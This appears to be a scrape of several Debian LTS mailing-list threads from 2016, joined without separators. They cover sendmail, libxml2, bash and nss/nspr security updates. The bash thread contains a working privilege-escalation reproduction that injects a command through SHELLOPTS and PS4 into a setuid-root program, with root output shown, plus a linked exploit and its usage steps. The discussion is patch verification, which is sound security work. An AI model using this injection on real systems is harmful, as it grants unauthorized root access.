Wheezy update of sendmail?
Hello dear maintainer(s), the Debian LTS team would like to fix the security issues which are currently open in the Wheezy version of sendmail: https://security-tracker.debian.org/tracker/source-package/sendmail Would you like to take care of this yourself? If yes, please follow the workflow we have defined here: https://wiki.debian.org/LTS/Development If that workflow is a burden to you, feel free to just prepare an updated source package and send it to debian-lts@lists.debian.org (via a debdiff, or with an URL pointing to the source package, or even with a pointer to your packaging repository), and the members of the LTS team will take care of the rest. Indicate clearly whether you have tested the updated package or not. If you don't want to take care of this update, it's not a problem, we will do our best with your package. Just let us know whether you would like to review and/or test the updated package before it gets released. You can also opt-out from receiving future similar emails in your answer and then the LTS Team will take care of sendmail updates for the LTS releases. (In case we don't get any answer for months, we may also take it as an opt-out, too.) Thank you very much. Chris Lamb, on behalf of the Debian LTS team. PS: A member of the LTS team might start working on this update at any point in time. You can verify whether someone is registered on this update in this file: https://anonscm.debian.org/viewvc/secure-testing/data/dla-needed.txt?view=markup Regards, -- ,''`. : :' : Chris Lamb `. `'` la...@debian.org / chris-lamb.co.uk `-
testing libxml2 for Wheezy LTS
Hi everybody, I uploaded version 2.8.0+dfsg1-7+wheezy7 of libxml2 to: https://people.debian.org/~alteholz/packages/wheezy-lts/libxml2/amd64/ Please give it a try and tell me about any problems you met. It would be nice to also test cases where "range-to" is really needed. Thanks! Thorsten * CVE-2016-4658 Namespace nodes must be copied to avoid use-after-free errors. But they don't necessarily have a physical representation in a document, so simply disallow them in XPointer ranges. * CVE-2016-5131 The old code would invoke the broken xmlXPtrRangeToFunction. range-to isn't really a function but a special kind of location step. Remove this function and always handle range-to in the XPath code. The old xmlXPtrRangeToFunction could also be abused to trigger a use-after-free error with the potential for remote code execution.
Re: Wheezy update of bash?
Hi all
I have now prepared a correction of this problem for wheezy. One of the
reasons why it took me a little more time than usual was the fact that the
upstream correction turned out to be incomplete. I have reported about that
problem in bug #841856 today.
I have added that to the security tracker too. The correction for 841856
may be a little too simple for upstream but for wheezy it should be good
enough.
Anyway I have been able correct that and intend to upload that correction
in four days if no-one complains.
You can find the debdiff here:
http://apt.inguza.net/wheezy-security/bash/bash.debdiff
And the packages that I intend to upload here:
http://apt.inguza.net/wheezy-security/bash/
The source code I used to test the exploit is available here:
http://apt.inguza.net/wheezy-security/bash/exploit.tar.gz
The exploit usage is:
make
sudo make root
make test
If you see a user identity other than your own in the output you have
successfully gained more permission than you should.
Best regards
// Ola
On 7 October 2016 at 23:18, Ola Lundqvist wrote:
> Hi Balint
>
> It was the default shell that made the difference. Thanks again for this
> suggestion. I can reproduce the problem now. Very good.
>
> An interesting note is that it is only possible to escalate the privilege
> to root. If I change the owner of the file to www-data (and the setuid to
> 33) the id command is not executed as www-data.
>
> This means that the bash fix to only make a special case for root is good.
> I thought maybe the fix was incomplete.
>
> I'll look into the fixing part now. I have found the patch and it looks
> trivial. As I can reproduce it easily now (with changed default shell to
> bash) it should be trivial to verify whether the correction was good or not.
>
> Best regards
>
> // Ola
>
> On 7 October 2016 at 09:26, Bálint Réczey wrote:
>
>> Hi,
>>
>> 2016-10-07 8:10 GMT+02:00 Ola Lundqvist :
>> > Hi Balint
>> >
>> > Ah, it could be the default shell. I'll try that. Thanks for the
>> suggestion.
>> >
>> > Merely that the command id is executed is not a reproduction. It has to
>> be
>> > executed as another user than the one one executing the binary to be a
>> > security problem. If not it could be a bug but not a security bug
>> (privilege
>> > escalation).
>>
>> True, but it works on setuid binaries, too:
>>
>> root@debian-wheezy:/home/vagrant# ls -alh /bin/sh
>> lrwxrwxrwx 1 root root 4 Oct 7 07:16 /bin/sh -> bash
>> root@debian-wheezy:/home/vagrant# gcc -xc - -otest <<< 'int main() {
>> setuid(0); system("/bin/date"); }'
>> root@debian-wheezy:/home/vagrant# chmod 4755 ./test
>> root@debian-wheezy:/home/vagrant# ls -l ./test
>> -rwsr-xr-x 1 root root 6877 Oct 7 07:19 ./test
>> root@debian-wheezy:/home/vagrant# exit
>> exit
>> vagrant@debian-wheezy:~$ env -i SHELLOPTS=xtrace PS4='$(id)' ./test
>> uid=0(root) gid=1000(vagrant)
>> groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(di
>> p),44(vid/bin/date
>> Fri Oct 7 07:19:34 GMT 2016
>> vagrant@debian-wheezy:~$
>>
>> Cheers,
>> Balint
>>
>>
>> >
>> > Best regards,
>> >
>> > // Ola
>> >
>> > On 7 October 2016 at 00:12, Bálint Réczey
>> wrote:
>> >>
>> >> Hi Ola,
>> >>
>> >> 2016-10-06 23:08 GMT+02:00 Ola Lundqvist :
>> >> > Hi Matthias and Balint
>> >> >
>> >> > I have tried to reproduce the problem described in the openwall
>> email.
>> >> > However I can not reproduce it. Have you been able to?
>> >> >
>> >> > On wheezy:
>> >> >
>> >> > ola@tigereye:/$ env -i SHELLOPTS=xtrace PS4='$(id)' ./test
>> >> > Thu Oct 6 20:54:07 UTC 2016
>> >> > ola@tigereye:/$ ls -la test
>> >> > -rwsr-xr-x 1 root root 6824 Oct 6 20:52 test
>> >> > ola@tigereye:/$ dpkg -l bash
>> >> > ...CUT...
>> >> > ii bash 4.2+dfsg-0.1 amd64GNU Bourne Again SHell
>> >> >
>> >> > On jessie:
>> >> > ola@tigereye:~/exploit$ env -i SHELLOPTS=xtrace PS4='$(id)' ./test
>> >> > Thu Oct 6 22:48:35 CEST 2016
>> >>
>> >> When I set the default shell to bash it worked for me.
>> >> Please try with sudo dpkg-reconfigure dash.
>> >>
>> >> > ola@tigereye:~/exploit$ dpkg -l bash
>> >> > ...CUT...
>> >> > ii bash 4.3-11+b1amd64GNU Bourne Again SHell
>> >> >
>> >> > I think it may be because SHELLOPTS is a read-only variable.
>> >> >
>> >> > ola@tigereye:~/exploit$ SHELLOPTS=xtrace
>> >> > bash: SHELLOPTS: readonly variable
>> >> >
>> >> > Do you think I have made a mistake in the reproduction or is it so
>> that
>> >> > the
>> >> > patch was actually not on a real problem (at least in Debian).
>> >> >
>> >> > Not even if I change the code like this:
>> >> > ola@tigereye:~/exploit$ gcc -xc - -otest2 <<< 'int main() {
>> setuid(0);
>> >> > system("/bin/bash -c /bin/date"); }'
>> >> > ola@tigereye:~/exploit$ ./test2
>> >> > Thu Oct 6 23:04:11 CEST 2016
>> >> > ola@tigereye:~/exploit$ set -x
>> >> > ola@tigereye:~/exploit$ ./test2
>> >> > uid=1000(ola) gid=1000(ola)
>> >> >
>> >> > groups=1000(ola),24(cdrom),25(floppy),27(sudo),29(audio),30(
>> dip
Re: Call for advice and testing of nss (and nspr) and intention to upload correction
Hi all I have now been able to run the tests and also the abi version checker. I think it looks good. I could not verify FIPS 140-1 tests due to some device error (I'm running in a chroot so I guess that is the problem) but everything else is working. The ABI reports are available here: nspr: http://apt.inguza.net/wheezy-security/nspr/compat_report.html nss: http://apt.inguza.net/wheezy-security/nss/compat_report.html If I do not hear any further objections I'll upload this on early next week Best regards // Ola On 21 October 2016 at 23:40, Guido Günther wrote: > On Fri, Oct 21, 2016 at 11:16:54PM +0200, Ola Lundqvist wrote: > > Hi Guido > > > > Thanks a lot for the information. I'll enable this and will also run > > abi-compliance check tool. > > Is it this [1] one you have used? > > > > [1] https://lvc.github.io/abi-compliance-checker/ > > IIRC I've used the abi-compliance-checker Debian package. > Cheers, > -- Guido > > > > > Best regards > > > > // Ola > > > > On 20 October 2016 at 23:48, Guido Günther wrote: > > > > > Hi Ola, > > > On Thu, Oct 20, 2016 at 11:15:29PM +0200, Ola Lundqvist wrote: > > > > Hi LTS team, Mozilla maintainers, Mike and Florian > > > > > > > > I have been working on the security problem reported in nss (and > nspr). > > > > https://security-tracker.debian.org/tracker/TEMP-000-583651 > > > > It is about unprotected environment variables. > > > > > > > > I did a check on what Florian Weimer had done for jessie-security and > > > > the solution there was simply to package the new upstream release. So > > > > I decided to do that approach as well. The advantage with this is > that > > > > we will not only have this problem solved, but also a few more. > > > > > > > > TEMP-000-583651 (nspr and nss) > > > > CVE-2014-3566 > > > > CVE-2014-1490 > > > > CVE-2013-1740 > > > > > > > > The disadvantage is that we are not playing safe. However it looks > > > > backwards compatible, but you never know. > > > > > > > > So all in all I have produced the following: > > > > > > > > nspr: > > > > http://apt.inguza.net/wheezy-security/nspr > > > > This is essentially a mimic of the jessie-security package changes. > > > > > > > > nss: > > > > http://apt.inguza.net/wheezy-security/nss > > > > This is essentially a re-build of the jessie-security package with > > > > changes file kept and only updated with one new entry. > > > > > > > > Call for advice: > > > > 1) Do you have an opinion about the fact that I backport new upstream > > > release? > > > > > > See my discussion with the release team abot this: > > > > > > https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=824872 > > > > > > > 2) Will we have a build problem as nss depends on the latest nspr? I > > > > guess I shall upload nspr first. > > > > > > See my runs of the abi compliance checker in the above URL. > > > > > > > 3) Shall I create one DLA covering both packages or shall I just > > > > produce one DLA covering both nspr and nss? > > > > > > The rule is one DLA per package AFAIK. > > > > > > > I think one DLA is the best as both are needed to solve the problem > > > > reported. But maybe that is against some practice. If you think I > > > > shall write two, then please advice me what to write in the DLA for > > > > nspr. > > > > > > > > Call for testing: > > > > 4) As this package can have a rather big impact on lot of other > > > > packages it would be good if all of you install the new version (nss > > > > is the important one) to see if it works for you. > > > > > > See > > > > > >https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=806207 > > >https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=806639 > > >https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=809723 > > > > > > that enable the internal test suites and add some autopkgtests. This > > > should help to gain some confidence. > > > Cheers, > > > -- Guido > > > > > > > > > > > I did not produce a debdiff as that diff was way too large to be > useful. > > > > > > > > I have installed it myself but I have not been able to verify that > the > > > > tools using it is really working. Most are GUI tools and I do not > have > > > > a GUI environment to test wheezy in. The libnss3-tools package seems > > > > to work fine to the limit I was able to check. > > > > > > > > I have not tried to reproduce the problem as the report was too vague > > > > to give any good advice on what environment variable that could > > > > actually cause a problem. > > > > > > > > If I do not hear any objections in four days I will upload anyway. > > > > > > > > Thanks in advance > > > > > > > > // Ola > > > > > > > > -- > > > > --- Inguza Technology AB --- MSc in Information Technology > > > > | o...@inguza.com Folkebogatan 26 > > > > | o...@debian.org 654 68 KARLSTAD > > > > | http://inguza.com/Mobile: +46 (0)70-332 1551 > > > > | gpg/f.p.: 7090 A92B 18FE 7994 0C36 4FE4 18A1 B1CF 0FE5 3DD9 > > > > > > > > >
